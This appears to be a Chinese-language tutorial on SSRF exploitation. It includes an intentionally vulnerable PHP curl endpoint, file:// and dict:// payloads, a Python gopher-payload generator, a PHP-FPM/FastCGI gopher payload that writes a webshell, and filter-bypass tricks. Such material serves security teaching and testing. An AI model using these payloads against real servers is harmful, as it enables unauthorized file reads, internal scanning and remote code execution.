简介

​ SSRF(Server-Side Request Forgery),即服务器请求伪造,是一种由攻击者构造,从而让服务端发起请求的一种安全漏洞,
它将一个可以发起网络请求的服务当作跳板来攻击其他服务,SSRF的攻击目标一般是内网。
​ 当服务端提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片、下载等),
但是没有对目标地址做过滤与限制时就会出现SSRF。

场景

  1. 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  2. 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  3. 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  4. Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  5. 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

攻击

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
  5. 下载内网资源(如:利用file协议读取本地文件等)
  6. 进行跳板
  7. 无视cdn
  8. 利用Redis未授权访问,HTTP CRLF注入实现getshell

函数

file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞

协议

  1. file: 在有回显的情况下,利用 file 协议可以读取任意内容
  2. dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
  3. http(s):探测内网主机存活
  4. gopher:gopher支持发出GET、POST请求

主要了解一下gopher协议,平时用的比较少:

gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,GopherInternet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。

gopher协议的格式:gopher://IP:port/_TCP/IP数据流
  • gopher协议发送http get请求

构造HTTP数据包

URL编码、替换回车换行为%0d%0aHTTP包最后加%0d%0a代表消息结束

发送gopher协议, 协议后的IP一定要接端口

  • 发送http post请求

POSTGET传参的区别:它有4个参数为必要参数

需要传递Content-TypeContent-Lengthhostpost参数

利用

关键代码:

<?php 
if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);
    echo $result;
}
?>

内网访问

使用http协议直接对内网的Web应用进行访问

payload:http://localhost/flag.txt

伪协议读文件

利用伪协议可以直接拿到文件源码内容

Payload:file:///Applications/phpstudy/WWW/flag.php

端口探测

利用dicthttp协议可以探测内网主机和端口存活情况:

payload:url=dict://127.0.0.1:3306

可以看到我这里3306端口是打开的,版本号是8.0.28

发POST请求

可以利用gopher协议发起POST请求

  • 接收文件post.php代码:

    <?php
    if(isset($_POST['shell'])){
        $shell = $_POST['shell'];
        system($shell);
    }

先构造POST请求包,与GET不同,必须传递Content-TypeContent-Lengthhostpost参数,否则会报错

POST /post.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

shell=ls

再使用如下python脚本生成标准格式的gopher协议

import urllib.parse

payload = \
"""POST /post.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

shell=ls
"""
tmp = urllib.parse.quote(payload) # 将换行编码成%0a
new = tmp.replace('%0A','%0D%0A')	# 在gopher协议中,进行URL编码,会将回车换行编码为%0d%0a
result = 'gopher://127.0.0.1:80/'+'_'+new # 拼接成完整payload
result = urllib.parse.quote(result) # 再次url编码,因为
print(result)

得到标准格式协议:

gopher%3A//127.0.0.1%3A80/_POST%2520/post.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25208%250D%250A%250D%250Ashell%253Dls%250D%250A

成功执行:

攻击FastCGI协议

  • FastCGI(Fast Common Gateway Interface)就是一个通信协议,相比HTTP协议,HTTP是浏览器与服务器中间件进行数据交换的协议,而FastCGI就是服务器中间件与某个语言后端进行数据交换的协议。

HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说,FastCGI协议则是服务器中间件和某个语言后端进行数据交换的协议。FastCGI协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照FastCGI的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

和HTTP头不同,Record中Header的大小固定8个字节,body的大小是由头中的contentLength指定,其结构如下:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 
 
  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

语言端解析了FastCGI头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。

requestId作为同一次请求的id。

type就是指定该Record的作用。因为FastCGI一个Record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个Record。通过type来标志每个Record的作用,主要有以下几个类型:

当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对。

  • PHP-FPM(PHP FastCGI Process Manager)其实是一个fastcgi协议解析器,按照FastCGI的协议将TCP流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

PHP-FPM默认监听的端口是9000,一般情况会只会接受127.0.0.1也就是本地的请求,利用SSRF可以越权访问。

利用FastCGI修改环境变量auto_prepend_file = php://inputallow_url_include = On,就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这样我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。

那么只要目标服务器上存在可访问的php文件即可RCE。

  • 测试

已知存在/var/html/www/index.php,准备一句话木马<?php system($_GET['shell']);?>

利用**Gopherus工具**生成payload:

再次url编码,因为GET传值和CURL都会解码一次:

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH127%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%257F%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522PD9waHAgc3lzdGVtKCRfR0VUWydzaGVsbCddKTs%2FPg%253D%253D%2522%2520%257C%2520base64%2520-d%2520%253E%2520shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

成功写入shell.php

绕过

一些常见的限制和绕过姿势。

URL

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

例如限制路径必须含有http://www.baidu.com

preg_match('http://www.baidu.com',$url); // http://www.baidu.com@192.168.0.1

对上述URL的内容进行解析的时候,很可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容为192.168.0.1上的内容。

数字IP

一些后端对传过来的URL参数进行正则匹配来过滤掉内网IP,对于这种过滤,可以改变IP的形式来绕过。

例如:十六进制、八进制、十进制、省略模式

参考

SSRF的利用方式

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

fastcgi协议分析与实例